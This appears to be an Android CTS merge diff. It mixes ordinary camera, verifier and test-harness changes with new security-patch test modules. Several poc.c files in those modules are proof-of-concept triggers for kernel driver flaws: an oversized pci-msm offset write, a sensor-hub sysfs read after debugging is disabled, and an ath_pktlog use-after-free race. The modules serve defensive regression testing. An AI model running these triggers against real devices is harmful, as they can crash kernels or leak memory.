Merge "Fix readHardwareBuffer function to correctly handle offset" into oc-dev
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 86c3e77..022a0d2 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -58,15 +58,16 @@
criteria = (cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT,
10, 0.03))
-# Constants to convert between different time units (for clarity).
+# Constants to convert between different units (for clarity).
SEC_TO_NSEC = 1000*1000*1000.0
SEC_TO_MSEC = 1000.0
MSEC_TO_NSEC = 1000*1000.0
MSEC_TO_SEC = 1/1000.0
NSEC_TO_SEC = 1/(1000*1000*1000.0)
NSEC_TO_MSEC = 1/(1000*1000.0)
+CM_TO_M = 1/100.0
-# Pass/fail thresholds.
+# PASS/FAIL thresholds.
THRESH_MAX_CORR_DIST = 0.005
THRESH_MAX_SHIFT_MS = 1
THRESH_MIN_ROT = 0.001
@@ -76,6 +77,10 @@
FACING_BACK = 1
FACING_EXTERNAL = 2
+# Chart distance
+CHART_DISTANCE = 25 # cm
+
+
def main():
"""Test if image and motion sensor events are well synchronized.
@@ -296,14 +301,17 @@
# p0's shape is N * 1 * 2
mask = (p0[:,0,1] >= ymin) & (p0[:,0,1] <= ymax)
p0_filtered = p0[mask]
- if len(p0_filtered) < MIN_FEATURE_PTS:
+ num_features = len(p0_filtered)
+ if num_features < MIN_FEATURE_PTS:
print "Not enough feature points in frame", i
print "Need at least %d features, got %d" % (
- MIN_FEATURE_PTS, len(p0_filtered))
- assert(0)
- p1,st,_ = cv2.calcOpticalFlowPyrLK(gframe0, gframe1, p0_filtered, None,
- **LK_PARAMS)
- tform = procrustes_rotation(p0_filtered[st==1], p1[st==1])
+ MIN_FEATURE_PTS, num_features)
+ assert 0
+ else:
+ print "Number of features in frame %d is %d" % (i, num_features)
+ p1, st, _ = cv2.calcOpticalFlowPyrLK(gframe0, gframe1, p0_filtered,
+ None, **LK_PARAMS)
+ tform = procrustes_rotation(p0_filtered[st == 1], p1[st == 1])
if facing == FACING_BACK:
rot = -math.atan2(tform[0, 1], tform[0, 0])
elif facing == FACING_FRONT:
@@ -389,8 +397,9 @@
s,e,_,_,_ = cam.do_3a(get_results=True, do_af=False)
req = its.objects.manual_capture_request(s, e)
fps = 30
+ req["android.lens.focusDistance"] = 1 / (CHART_DISTANCE * CM_TO_M)
req["android.control.aeTargetFpsRange"] = [fps, fps]
- req["android.sensor.frameDuration"] = int(1000.0/fps * MSEC_TO_NSEC);
+ req["android.sensor.frameDuration"] = int(1000.0/fps * MSEC_TO_NSEC)
print "Capturing %dx%d with sens. %d, exp. time %.1fms" % (
W, H, s, e*NSEC_TO_MSEC)
caps = cam.do_capture([req]*N, fmt)
diff --git a/apps/CtsVerifier/res/layout-watch/requesting_bugreport_device_owner.xml b/apps/CtsVerifier/res/layout-watch/requesting_bugreport_device_owner.xml
index 4d4cf5d..8aebbe6 100644
--- a/apps/CtsVerifier/res/layout-watch/requesting_bugreport_device_owner.xml
+++ b/apps/CtsVerifier/res/layout-watch/requesting_bugreport_device_owner.xml
@@ -39,7 +39,7 @@
<ListView
android:id="@+id/android:list"
android:layout_width="match_parent"
- android:layout_height="wrap_content"/>
+ android:layout_height="500dp"/>
<include layout="@layout/pass_fail_buttons"/>
</LinearLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 144eac1..95f4d60 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -2436,7 +2436,7 @@
<string name="negative_device_owner">No Device Owner Tests</string>
<string name="device_owner_negative_category">No Device Owner Tests</string>
<string name="device_owner_provisioning_negative">Device owner provisioning</string>
- <string name="device_owner_provisioning_negative_info">The device owner provisioning test verifies that setting up a corporate owned device can only be done on a factory reset device.\n\nPlease click the "Start provisioning" button, and when you see a warning dialog telling the device is already set up, select "pass". Otherwise, select "fail".</string>
+ <string name="device_owner_provisioning_negative_info">The device owner provisioning test verifies that setting up a corporate owned device can only be done on a factory reset device.\n\nPlease click the "Start provisioning" button, and when you see a warning dialog telling the device can\'t be set up, select "pass". Otherwise, select "fail".</string>
<string name="start_device_owner_provisioning_button">Start provisioning</string>
<string name="enterprise_privacy_quick_settings_negative">Quick settings disclosure</string>
<string name="enterprise_privacy_quick_settings_negative_info">
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
index 3d95b61..e85119b 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
@@ -731,15 +731,22 @@
static void copyDynamicConfigFiles(Map<String, File> configFiles, File resultsDir) {
if (configFiles.size() == 0) return;
- File folder = new File(resultsDir, "config");
- folder.mkdir();
+ File configDir = new File(resultsDir, "config");
+ boolean mkdirSuccess = configDir.mkdir(); // success check added for b/63030111
+ if (!mkdirSuccess) {
+ warn("Failed to make dynamic config directory \"%s\" in the result",
+ configDir.getAbsolutePath());
+ }
for (String moduleName : configFiles.keySet()) {
- File resultFile = new File(folder, moduleName+".dynamic");
+ File srcFile = configFiles.get(moduleName);
+ File destFile = new File(configDir, moduleName+".dynamic");
try {
- FileUtil.copyFile(configFiles.get(moduleName), resultFile);
- FileUtil.deleteFile(configFiles.get(moduleName));
+ FileUtil.copyFile(srcFile, destFile);
+ FileUtil.deleteFile(srcFile);
} catch (IOException e) {
- warn("Failed to copy config file for %s to file", moduleName);
+ warn("Failure when copying config file \"%s\" to \"%s\" for module %s",
+ srcFile.getAbsolutePath(), destFile.getAbsolutePath(), moduleName);
+ CLog.e(e);
}
}
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
index 96fe234..f51be93 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
@@ -259,6 +259,13 @@
moduleFinisher.finish();
// Tear down
+ runPreparerTeardowns();
+ }
+
+ /**
+ * Run preparers' teardown functions.
+ */
+ protected void runPreparerTeardowns() throws DeviceNotAvailableException {
for (ITargetCleaner cleaner : mCleaners) {
CLog.d("Cleaner: %s", cleaner.getClass().getSimpleName());
cleaner.tearDown(mDevice, mBuild, null);
@@ -266,7 +273,7 @@
}
/**
- * Run preparer setup functions.
+ * Run preparers' setup functions.
*
* @throws DeviceNotAvailableException
*/
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index ac846a3..827db71 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -32,6 +32,8 @@
private static final String MANAGED_PROFILE_ADMIN =
MANAGED_PROFILE_PKG + ".BaseManagedProfileTest$BasicAdminReceiver";
+ private static final String FEATURE_BACKUP = "android.software.backup";
+
private static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
private static final String INTENT_RECEIVER_APK = "CtsIntentReceiverApp.apk";
@@ -492,9 +494,18 @@
// This case runs when DO is provisioned
// mHasFeature == true and provisioned, can't provision DO again.
executeDeviceTestMethod(".PreDeviceOwnerTest", "testIsProvisioningAllowedFalse");
- // Can provision Managed Profile when DO is on
- // STOPSHIP: Only allow creating a managed profile if allowed by the device owner.
- // b/31952368
+ }
+
+ /**
+ * Can provision Managed Profile when DO is set by default if they are the same admin.
+ */
+ public void testIsManagedProfileProvisioningAllowed_deviceOwnerIsSet() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ if (!hasDeviceFeature("android.software.managed_users")) {
+ return;
+ }
executeDeviceTestMethod(".PreDeviceOwnerTest",
"testIsProvisioningAllowedTrueForManagedProfileAction");
}
@@ -544,7 +555,9 @@
}
public void testBackupServiceEnabling() throws Exception {
- if (!mHasFeature) {
+ final boolean hasBackupService = getDevice().hasFeature(FEATURE_BACKUP);
+ // The backup service cannot be enabled if the backup feature is not supported.
+ if (!mHasFeature || !hasBackupService) {
return;
}
executeDeviceOwnerTest("BackupServiceEnabledTest");
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index cf240db..7b10600 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -99,6 +99,8 @@
<option name="push" value="Bug-33299365->/data/local/tmp/Bug-33299365" />
<option name="push" value="Bug-35950805->/data/local/tmp/Bug-35950805" />
<option name="push" value="Bug-35139833->/data/local/tmp/Bug-35139833" />
+ <option name="push" value="Bug-35468048->/data/local/tmp/Bug-35468048" />
+ <option name="push" value="Bug-35470735->/data/local/tmp/Bug-35470735" />
<!--__________________-->
<!-- Bulletin 2017-08 -->
@@ -111,6 +113,13 @@
<option name="push" value="Bug-35764875->/data/local/tmp/Bug-35764875" />
<option name="push" value="Bug-35644510->/data/local/tmp/Bug-35644510" />
+ <!--__________________-->
+ <!-- Bulletin 2017-09 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+ <option name="push" value="Bug-33039685->/data/local/tmp/Bug-33039685" />
+ <option name="push" value="Bug-35676417->/data/local/tmp/Bug-35676417" />
+
<option name="append-bitness" value="true" />
</target_preparer>
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/security/securityPatch/Bug-33039685/Android.mk b/hostsidetests/security/securityPatch/Bug-33039685/Android.mk
new file mode 100644
index 0000000..701138d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33039685/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-33039685
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33039685/poc.c b/hostsidetests/security/securityPatch/Bug-33039685/poc.c
new file mode 100644
index 0000000..e9938c5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33039685/poc.c
@@ -0,0 +1,107 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/types.h>
+
+#include <asm/ioctl.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+char *pci_msm_path = "/sys/kernel/debug/pci-msm/";
+
+#define SIZE 64
+
+int write_file(int fd, char *str) {
+ int ret;
+ ret = write(fd, str, SIZE);
+ return 0;
+}
+
+int open_file(char *filename) {
+ int fd;
+ char file[125] = {0};
+
+ sprintf(file, "%s%s", pci_msm_path, filename);
+
+ fd = open(file, O_RDWR);
+ if (fd < 0) {
+ exit(1);
+ }
+ return fd;
+}
+
+void set_aer_enable() {
+ int fd;
+ char buf[SIZE] = {0};
+
+ fd = open_file("aer_enable");
+
+ write_file(fd, buf);
+
+ close(fd);
+}
+
+void set_wr_offset() {
+ int fd;
+ char buf[SIZE] = {0};
+
+ fd = open_file("wr_offset");
+
+ sprintf(buf, "%s", "9999999");
+
+ write_file(fd, buf);
+
+ close(fd);
+}
+
+void set_test_case() {
+ int fd;
+ char buf[SIZE] = {0};
+ buf[0] = '1';
+ buf[1] = '2';
+
+ fd = open_file("case");
+
+ write_file(fd, buf);
+
+ close(fd);
+}
+
+void set_base_sel() {
+ int fd;
+ char buf[SIZE] = {0};
+ buf[0] = '1';
+
+ fd = open_file("base_sel");
+
+ write_file(fd, buf);
+
+ close(fd);
+}
+
+int main(int argc, char *argv[]) {
+ set_wr_offset();
+ set_base_sel();
+ set_test_case();
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-35468048/Android.mk b/hostsidetests/security/securityPatch/Bug-35468048/Android.mk
new file mode 100644
index 0000000..9213fa3
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35468048/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35468048
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35468048/poc.c b/hostsidetests/security/securityPatch/Bug-35468048/poc.c
new file mode 100644
index 0000000..850c7c9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35468048/poc.c
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <string.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <sched.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+// for syscall
+#include <sys/syscall.h>
+// for futex
+#include <linux/futex.h>
+#include <sys/time.h>
+
+#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
+#define ERR(fmt, ...) \
+ printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
+#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
+
+static int set_affinity(int num) {
+ int ret = 0;
+ cpu_set_t mask;
+ CPU_ZERO(&mask);
+ CPU_SET(num, &mask);
+ ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+ if (ret == -1) {
+ ERR("[-] set affinity failed");
+ }
+ return ret;
+}
+
+#define TARGET "/sys/devices/virtual/htc_sensorhub/sensor_hub/enable"
+#define DISABLE "/sys/module/CwMcuSensor/parameters/DEBUG_DISABLE"
+int main(int argc, char *argv[]) {
+ int i, ret, tmpfd;
+ char buf[PAGE_SIZE] = {0};
+
+ /* bind_cpu */
+ set_affinity(0);
+
+ /* disable debug */
+ tmpfd = open(DISABLE, O_RDWR);
+ if (tmpfd == -1) {
+ ERR("[-] open %s failed", TARGET);
+ return -1;
+ }
+
+ write(tmpfd, "1", 1);
+ close(tmpfd);
+
+ tmpfd = open(TARGET, O_RDWR);
+
+ if (tmpfd == -1)
+ ERR("[-] open %s failed", TARGET);
+ else
+ LOG("[+] open %s OK", TARGET);
+
+ /* read */
+ ret = read(tmpfd, buf, PAGE_SIZE);
+ if (ret == -1)
+ ERR("[-] read %s failed", TARGET);
+ else {
+ LOG("[+] read succeeded: %d bytes", ret);
+ LOG("[+] content: %s", buf);
+ }
+
+ close(tmpfd);
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-35470735/Android.mk b/hostsidetests/security/securityPatch/Bug-35470735/Android.mk
new file mode 100644
index 0000000..1f14c2c73
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35470735/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35470735
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35470735/poc.c b/hostsidetests/security/securityPatch/Bug-35470735/poc.c
new file mode 100644
index 0000000..a6a2da9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35470735/poc.c
@@ -0,0 +1,132 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <string.h>
+#include <sys/types.h>
+
+#include <asm/ioctl.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+//#define DEBUG
+#ifdef DEBUG
+#define LOG(fmt, ...) \
+ do { \
+ printf("%s:%d: " fmt "\n", __FUNCTION__, __LINE__, ##__VA_ARGS__); \
+ } while (0)
+#else
+#define LOG(fmt, ...)
+#endif
+
+int open_file(char* filename) {
+ int fd;
+
+ fd = open(filename, O_RDWR);
+ if (fd < 0) {
+ LOG("open %s fail %s\n", filename, strerror(errno));
+ exit(1);
+ }
+ LOG("[%d] open %s succ return fd %d\n", gettid(), filename, fd);
+
+ return fd;
+}
+
+int test_write(int fd, char* buf, int size) {
+ int ret;
+
+ ret = write(fd, buf, size);
+ if (fd < 0) {
+ LOG("write %d fail %s\n", fd, strerror(errno));
+ } else
+ LOG("[%d] write %s succ\n", gettid(), buf);
+
+ return ret;
+}
+
+void prepare(void) { // enable the log
+ int enable_fd;
+ char* str = "1";
+ enable_fd = open_file("/proc/sys/ath_pktlog/cld/enable");
+ test_write(enable_fd, str, strlen(str));
+ close(enable_fd);
+}
+
+#define SIZE 16
+void Thread1(void) { // thread to read the log
+ int cld_fd, ret;
+ char buf[SIZE] = {0};
+ cld_fd = open_file("/proc/ath_pktlog/cld");
+ while (1) {
+ ret = read(cld_fd, buf, SIZE);
+ if (ret > 0) LOG("[%d] read succ %d\n", gettid(), ret);
+ sleep(0.5);
+ }
+ close(cld_fd);
+}
+
+void Thread2(void) { // thread to free pl_info->buf
+ int size_fd;
+ char* size1 = "1024";
+ char* size2 = "2048";
+ int index = 0;
+ char buf[8] = {0};
+ size_fd = open_file("/proc/sys/ath_pktlog/cld/size");
+ while (1) {
+ if (index++ % 2)
+ test_write(size_fd, size1, strlen(size1));
+ else
+ test_write(size_fd, size2, strlen(size2));
+ sleep(0.5);
+ }
+ close(size_fd);
+}
+
+#define TC 8
+void trigger() {
+ int i, ret;
+ pthread_t tid1s[TC];
+ pthread_t tid2s[TC];
+
+ LOG("Try to trigger..\n");
+
+ for (i = 0; i < TC; i++) {
+ ret = pthread_create((pthread_t*)&tid1s[i], NULL, (void*)Thread1, NULL);
+ sleep(1);
+ ret = pthread_create((pthread_t*)&tid2s[i], NULL, (void*)Thread2, NULL);
+ }
+
+ for (i = 0; i < TC; i++) {
+ pthread_join(tid1s[i], NULL);
+ pthread_join(tid2s[i], NULL);
+ }
+}
+
+int main(int argc, char* argv[]) {
+ for (int i = 0; i < 1000; i++)
+ {
+ prepare();
+ trigger();
+ }
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-35676417/Android.mk b/hostsidetests/security/securityPatch/Bug-35676417/Android.mk
new file mode 100644
index 0000000..41ba50d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35676417/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35676417
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35676417/local_poc.h b/hostsidetests/security/securityPatch/Bug-35676417/local_poc.h
new file mode 100644
index 0000000..9f48e60
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35676417/local_poc.h
@@ -0,0 +1,506 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __CMD_H__
+#define __CMD_H__
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS 8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+#define _IOC_SIZEBITS 14
+#endif
+
+#ifndef _IOC_DIRBITS
+#define _IOC_DIRBITS 2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
+#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
+#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
+#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
+
+#define _IOC_NRSHIFT 0
+#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
+#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
+#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+#define _IOC_NONE 0U
+#endif
+
+#ifndef _IOC_WRITE
+#define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+#define _IOC_READ 2U
+#endif
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir, type, nr, size) \
+ (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
+ ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
+
+/* used to create numbers */
+#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
+#define _IOR(type, nr, size) \
+ _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOW(type, nr, size) \
+ _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOWR(type, nr, size) \
+ _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+
+/* PCM Audio */
+
+#define AUDIO_IOCTL_MAGIC 'a'
+
+#define AUDIO_START _IOW(AUDIO_IOCTL_MAGIC, 0, unsigned)
+#define AUDIO_STOP _IOW(AUDIO_IOCTL_MAGIC, 1, unsigned)
+#define AUDIO_FLUSH _IOW(AUDIO_IOCTL_MAGIC, 2, unsigned)
+#define AUDIO_GET_CONFIG _IOR(AUDIO_IOCTL_MAGIC, 3, struct msm_audio_config)
+#define AUDIO_SET_CONFIG _IOW(AUDIO_IOCTL_MAGIC, 4, struct msm_audio_config)
+#define AUDIO_GET_STATS _IOR(AUDIO_IOCTL_MAGIC, 5, struct msm_audio_stats)
+#define AUDIO_ENABLE_AUDPP _IOW(AUDIO_IOCTL_MAGIC, 6, unsigned)
+#define AUDIO_SET_ADRC _IOW(AUDIO_IOCTL_MAGIC, 7, unsigned)
+#define AUDIO_SET_EQ _IOW(AUDIO_IOCTL_MAGIC, 8, unsigned)
+#define AUDIO_SET_RX_IIR _IOW(AUDIO_IOCTL_MAGIC, 9, unsigned)
+#define AUDIO_SET_VOLUME _IOW(AUDIO_IOCTL_MAGIC, 10, unsigned)
+#define AUDIO_PAUSE _IOW(AUDIO_IOCTL_MAGIC, 11, unsigned)
+#define AUDIO_PLAY_DTMF _IOW(AUDIO_IOCTL_MAGIC, 12, unsigned)
